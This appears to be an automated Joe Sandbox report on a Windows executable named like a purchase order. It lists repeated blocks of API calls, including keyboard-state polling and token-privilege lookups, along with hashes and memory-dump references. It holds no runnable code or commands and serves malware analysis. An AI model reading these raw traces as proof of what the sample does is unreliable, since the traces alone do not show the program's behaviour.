                                                                                                • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
                                                                                                • Opcode Fuzzy Hash: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
                                                                                                • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                                                                                                APIs
                                                                                                • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 0046FD8A
                                                                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,004A83D8,?), ref: 0046FDF0
                                                                                                • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 0046FE0E
                                                                                                • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,004A83D8,?), ref: 0046FE20
                                                                                                • SendMessageW.USER32(?,0000113E,00000000,?), ref: 0046FEA5
                                                                                                • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0046FEDF
                                                                                                • GetClientRect.USER32(?,?), ref: 0046FEF2
                                                                                                • RedrawWindow.USER32(?,?,00000000,00000000), ref: 0046FF02
                                                                                                • DestroyIcon.USER32(?), ref: 0046FFCC
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                                                                                                • String ID: 2
                                                                                                • API String ID: 1331449709-450215437
                                                                                                • Opcode ID: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                • Instruction ID: e79942d1a0196d9b5e30c5c178d8ccafd59c9ae1e7fac48b8759c586c5a3b44e
                                                                                                • Opcode Fuzzy Hash: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                • Instruction Fuzzy Hash: EB51AC702043019FD320CF44D885BAABBE5FB88700F04487EE684872A2D7B5A849CB5A
                                                                                                APIs
                                                                                                • DestroyWindow.USER32(?,?,?,?,?,?,00000000,static,00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 00450EE1
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: DestroyWindow
                                                                                                • String ID: static
                                                                                                • API String ID: 3375834691-2160076837
                                                                                                • Opcode ID: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                                • Instruction ID: 4605c95b1b006c90d65e271c0fdf07f62d21d56273c2870bf7f2e3decf5281c5
                                                                                                • Opcode Fuzzy Hash: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                                • Instruction Fuzzy Hash: 4531B572200300BBD7109B64DC45F6BB3A8EBC9711F204A2EFA50D72C0D7B4E8048B69
                                                                                                APIs
                                                                                                • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                                                                                                • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                                                                                                • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                                                                                                • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                                                                                                • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                                                                                                • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                                                                                                • _memcmp.LIBCMT ref: 004394A9
                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                                                                                                Strings
                                                                                                • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                                                                                                • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                                                                                                • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                                                • API String ID: 1446985595-805462909
                                                                                                • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                                                                                                • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                                                                                                APIs
                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D848
                                                                                                • GetDriveTypeW.KERNEL32(?,?), ref: 0045D8A3
                                                                                                • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D94A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorMode$DriveType
                                                                                                • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$HH
                                                                                                • API String ID: 2907320926-41864084
                                                                                                • Opcode ID: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                • Instruction ID: d4cab332979e247f8c2da9788294718902473fa09eb5ff996f03d25688ce9cbb
                                                                                                • Opcode Fuzzy Hash: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                • Instruction Fuzzy Hash: C7318B75A083008FC310EF65E48481EB7A1AFC8315F648D2FF945A7362C779D9068BAB
                                                                                                APIs
                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                                                                                                • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                                                                                                • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                • String ID:
                                                                                                • API String ID: 1932665248-0
                                                                                                • Opcode ID: 728085738598baa76875e49cf4d4065a6f05a6b9a674c5020805c61219dc5e90
                                                                                                • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                                                                                                • Opcode Fuzzy Hash: 728085738598baa76875e49cf4d4065a6f05a6b9a674c5020805c61219dc5e90
                                                                                                • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
                                                                                                • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 004481A7
                                                                                                • _memset.LIBCMT ref: 004481BA
                                                                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
                                                                                                • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
                                                                                                • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
                                                                                                • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
                                                                                                • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
                                                                                                • SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
                                                                                                • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$LongWindow_memset
                                                                                                • String ID:
                                                                                                • API String ID: 830647256-0
                                                                                                • Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                • Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
                                                                                                • Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                • Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56
                                                                                                APIs
                                                                                                  • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                • DestroyAcceleratorTable.USER32(?), ref: 0046EA9F
                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0046EB04
                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0046EB18
                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0046EB24
                                                                                                • DeleteObject.GDI32(00740000), ref: 0046EB4F
                                                                                                • DestroyIcon.USER32(006D0065), ref: 0046EB67
                                                                                                • DeleteObject.GDI32(E53D33F2), ref: 0046EB7F
                                                                                                • DestroyWindow.USER32(006F0043), ref: 0046EB97
                                                                                                • DestroyIcon.USER32(?), ref: 0046EBBF
                                                                                                • DestroyIcon.USER32(?), ref: 0046EBCD
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateRectTableWindow
                                                                                                • String ID:
                                                                                                • API String ID: 802431696-0
                                                                                                • Opcode ID: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                • Instruction ID: 42d633cefbe7d7192e7a113645d0a532909e6831d49db23f2259be933aabe8c6
                                                                                                • Opcode Fuzzy Hash: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                • Instruction Fuzzy Hash: 17513178600202DFDB14DF26D894E2A77E9FB4AB14B54446EE502CB361EB38EC41CB5E
                                                                                                APIs
                                                                                                • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                                                                                                • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                                                                                                • GetKeyState.USER32(000000A0), ref: 00444E26
                                                                                                • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                                                                                                • GetKeyState.USER32(000000A1), ref: 00444E51
                                                                                                • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                                                                                                • GetKeyState.USER32(00000011), ref: 00444E77
                                                                                                • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                                                                                                • GetKeyState.USER32(00000012), ref: 00444E9D
                                                                                                • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                                                                                                • GetKeyState.USER32(0000005B), ref: 00444EC3
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: State$Async$Keyboard
                                                                                                • String ID:
                                                                                                • API String ID: 541375521-0
                                                                                                • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                                                                                                • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: HH
                                                                                                • API String ID: 0-2761332787
                                                                                                • Opcode ID: aad434d4140a1a984818497dc509aeb4da80f346e6bb5d22ed962e59e67f7c51
                                                                                                • Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
                                                                                                • Opcode Fuzzy Hash: aad434d4140a1a984818497dc509aeb4da80f346e6bb5d22ed962e59e67f7c51
                                                                                                • Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                                                                                                APIs
                                                                                                • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004508CB
                                                                                                • SendMessageW.USER32(?,00001036,00000000,?), ref: 004508DB
                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,00001036,00000000,?,000000FF,?,SysListView32,004848E8,00000000), ref: 004508FC
                                                                                                • _wcslen.LIBCMT ref: 00450944
                                                                                                • _wcscat.LIBCMT ref: 00450955
                                                                                                • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045096C
                                                                                                • SendMessageW.USER32(?,00001061,?,?), ref: 0045099B
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$Window_wcscat_wcslen
                                                                                                • String ID: -----$SysListView32
                                                                                                • API String ID: 4008455318-3975388722
                                                                                                • Opcode ID: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                • Instruction ID: 786a3889ee88f98d9b0e9b4b0e1dacf7018a6923f31dd28eeaa3c07ad082d1a6
                                                                                                • Opcode Fuzzy Hash: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                • Instruction Fuzzy Hash: 17519470504340ABE330DB65C885FABB3E4AF84714F104E1EFA94972D3D6B99989CB65
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 00448625
                                                                                                • CreateMenu.USER32 ref: 0044863C
                                                                                                • SetMenu.USER32(?,00000000), ref: 0044864C
                                                                                                • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 004486D6
                                                                                                • IsMenu.USER32(?), ref: 004486EB
                                                                                                • CreatePopupMenu.USER32 ref: 004486F5
                                                                                                • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 00448739
                                                                                                • DrawMenuBar.USER32 ref: 00448742
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                                                • String ID: 0
                                                                                                • API String ID: 176399719-4108050209
                                                                                                • Opcode ID: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                • Instruction ID: 98f94d81d6847d6484dd50bbdc77a0bd9f9f2d632c710d3394220f00cc789bef
                                                                                                • Opcode Fuzzy Hash: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                • Instruction Fuzzy Hash: 86417675604201AFD700CF68D894A9BBBE4FF89314F14891EFA488B350DBB5A845CFA6
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 00469289
                                                                                                • GetParent.USER32 ref: 004692A4
                                                                                                • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                                                                                                • GetParent.USER32 ref: 004692C7
                                                                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                • String ID: ComboBox$ListBox
                                                                                                • API String ID: 2040099840-1403004172
                                                                                                • Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                                                                                                • Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 00469483
                                                                                                • GetParent.USER32 ref: 0046949E
                                                                                                • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                                                                                                • GetParent.USER32 ref: 004694C1
                                                                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                • String ID: ComboBox$ListBox
                                                                                                • API String ID: 2040099840-1403004172
                                                                                                • Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                                                                                                • Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                                                                                                APIs
                                                                                                  • Part of subcall function 004419ED: DeleteObject.GDI32(?), ref: 00441A53
                                                                                                • SendMessageW.USER32(75A523D0,00001001,00000000,00000000), ref: 00448E73
                                                                                                • SendMessageW.USER32(75A523D0,00001026,00000000,00000000), ref: 00448E7E
                                                                                                  • Part of subcall function 00441A7A: CreateSolidBrush.GDI32 ref: 00441ACB
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
